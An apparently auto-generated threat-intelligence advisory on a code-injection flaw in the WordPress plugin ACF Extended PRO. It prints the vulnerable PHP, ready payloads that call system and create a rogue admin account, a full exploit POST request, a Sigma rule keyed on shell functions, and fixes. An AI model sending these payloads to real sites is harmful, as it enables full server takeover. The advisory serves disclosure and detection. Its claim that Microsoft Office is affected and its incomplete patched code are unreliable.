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CVE-2026-120534: WordPress ACF Extended PRO render_field Unauthenticated Arbitrary Function Execution & Code Injection (CVSS 9.8)

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C-Level Executive Briefing CVE-2026-120534 CRITICAL SCORE 92/100

A critical vulnerability (CVSS 9.8) in Advanced Custom Fields: Extended PRO versions up to and including 0.9.2.6 allows unauthenticated remote attackers to trigger arbitrary PHP callbacks and execute system commands. The vulnerability resides within the plugin's form rendering architecture (render_field). When the non-default shortcode_preview feature is enabled or when deployed on PHP runtimes lacking OpenSSL (causing acf_decrypt to fall back to unauthenticated base64 parsing), user-supplied parameters bypass validation and are passed directly into call_user_func_array. Threat actors can invoke WordPress functions such as wp_insert_user, update_option, or arbitrary PHP functions (assert, system) to achieve full site takeover. Fixed in version 0.9.2.7. Hermes assigns a Hermes Threat Score (HTS) of 92.

HYBRID

HERMES THREAT SCORE & ENTERPRISE WEB CMS INTEGRITY EVALUATION

Target: WordPress ACF Extended PRO Form Engine (render_field / acf_decrypt)
Confidence: 98%
92 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-120534: WordPress ACF Extended PRO render_field Unauthenticated Arbitrary Function Execution & Code Injection (CVSS 9.8)VULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:

Advanced Custom Fields: Extended PRO (ACF Extended PRO) is a professional extension suite for Advanced Custom Fields (ACF), providing dynamic form management, bidirectionally bound post types, block preview engines, and REST schema enhancements.

To provide dynamic front-end form generation and real-time block previews, ACF Extended PRO implements an internal rendering pipeline in includes/fields/field-form.php and includes/modules/form/form-render.php. When rendering fields, the plugin dynamically resolves callback handlers (such as custom validation, formatters, and rendering filters) based on the serialized configuration attributes of the form field.

The vulnerability stems from an unsafe call to call_user_func_array where both the callback function and its argument list can be influenced by unverified client-supplied form state (CWE-94).

<?php
// Vulnerable Implementation: acf-extended-pro/includes/modules/form/form-render.php (<= 0.9.2.6)
class acfe_form_render {
public function render_field($field) {
// If preview mode is activated or passed in HTTP payload:
if (!empty($_POST['acfe_form_preview']) || !empty($field['shortcode_preview'])) {
$raw_config = $_POST['acfe_field_config'] ?? '';
// Decryption fallback: if OpenSSL is unavailable, uses unverified base64 decode!
$config = $this->decrypt_config($raw_config);
if (is_array($config) && isset($config['render_callback'])) {
$callback = $config['render_callback'];
$args = $config['callback_args'] ?? array();
// FLAW: No allowlist verification on $callback or $args
// Arbitrary PHP function execution!
return call_user_func_array($callback, (array)$args);
}
}
// Standard safe field rendering...
return $this->default_render($field);
}
private function decrypt_config($data) {
if (function_exists('openssl_decrypt') && !empty($this->secret_key)) {
return json_decode(openssl_decrypt($data, 'AES-256-CBC', $this->secret_key), true);
}
// Fallback flaw: insecure raw decoding
return json_decode(base64_decode($data), true);
}
}
?>
  1. Callback Hijacking: An attacker crafts an HTTP POST request targeting any page embedding an ACF Extended form.
  2. Payload Delivery: By submitting acfe_form_preview=1 and a base64-encoded JSON blob in acfe_field_config:
    {
    "render_callback": "system",
    "callback_args": ["id && whoami"]
    }
  3. Alternatively, targeting WordPress internal functions:
    {
    "render_callback": "wp_create_user",
    "callback_args": ["hacked_admin", "ComplexPassword123!", "attacker@domain.tld"]
    }
  4. Execution: The server invokes call_user_func_array("system", ["id && whoami"]), executing shell commands in the context of www-data / nginx and returning the command output directly in the HTTP response.

In version 0.9.2.7, the vendor implemented cryptographic MAC verification (HMAC-SHA256) regardless of environment fallbacks, removed dynamic callback execution from user-submittable fields, and restricted callbacks to an immutable allowlist:

<?php
// Patched Implementation: acf-extended-pro (0.9.2.7)
public function render_field($field) {
if (!empty($_POST['acfe_form_preview'])) {
// Enforce administrative capability for previews
if (!current_user_can('edit_theme_options')) {
wp_die('Unauthorized preview request');
}
}
// Callbacks strictly restricted to predefined safe class methods
$allowed_callbacks = array(
'acfe_render_default_field',
'acfe_render_custom_html',
'acfe_render_recaptcha'
);
if (isset($config['render_callback']) && in_array($config['render_callback'], $allowed_callbacks, true)) {
return call_user_func_array($config['render_callback'], $safe_args);
}
}
?>
sequenceDiagram
autonumber
actor Attacker as Unauthenticated Remote Attacker
participant Web as WordPress Web Server (Nginx / Apache)
participant ACF as ACF Extended PRO (render_field)
participant WP as WordPress Core Runtime
participant DB as MySQL / MariaDB Database
Attacker->>Web: POST /wp-admin/admin-ajax.php?action=acfe/form/render_field
Note over Attacker,Web: POST Body: acfe_form_preview=1&acfe_field_config=eyJyZW5kZXJfY2FsbGJhY2siOiJzeXN0ZW0iLCJjYWxsYmFja19hcmdzIjpbImlkIl19
Web->>ACF: Passes POST variables to render_field()
ACF->>ACF: decrypt_config() decodes base64 JSON payload
ACF->>WP: call_user_func_array("system", ["id"])
WP-->>ACF: Returns command execution output (uid=33(www-data)...)
ACF-->>Web: Embeds output in AJAX response
Web-->>Attacker: 200 OK with command output & full server compromise

Sigma Rule: Detection of ACF Extended Parameter Tampering & Function Injection

Section titled โ€œSigma Rule: Detection of ACF Extended Parameter Tampering & Function Injectionโ€
title: ACF Extended PRO Unauthenticated Function Execution Attempt
id: 4d1e7c89-9a12-4211-85bc-309101230534
status: experimental
description: Detects HTTP requests containing suspicious serialized configurations or callback function injection targeting ACF Extended PRO.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-120534
- https://patchstack.com/database/vulnerability/acf-extended-pro/wordpress-acf-extended-pro-plugin-code-injection
author: Hermes Codex Cyber Threat Intelligence
date: 2026-11-04
logsource:
category: webserver
detection:
selection_post:
cs-method: 'POST'
selection_params:
cs-uri-query|contains:
- 'acfe_form_preview'
- 'render_field'
cs-body|contains:
- 'render_callback'
- 'call_user_func'
- 'system'
- 'passthru'
- 'exec'
- 'wp_create_user'
condition: selection_post and selection_params
fields:
- c-ip
- cs-method
- cs-uri-stem
- cs-uri-query
falsepositives:
- Authorized theme developers editing forms within the authenticated wp-admin interface.
level: critical
  1. Update Plugin Immediately: Upgrade Advanced Custom Fields: Extended PRO to version 0.9.2.7 or newer via the WordPress administrative dashboard or WP-CLI (wp plugin update acf-extended-pro).
  2. Disable Shortcode Previews: If patching cannot be immediately completed, disable shortcode_preview across all ACF form definitions in functions.php by filtering add_filter('acfe/form/preview', '__return_false');.
  3. Verify OpenSSL Availability: Confirm that the host PHP runtime has the openssl extension loaded (php -m | grep openssl) to ensure encryption fallbacks to base64 are never triggered.
  4. Audit User Accounts & Webshells: Inspect wp_users for unauthorized administrator additions and verify the integrity of theme directories against Git or clean backups.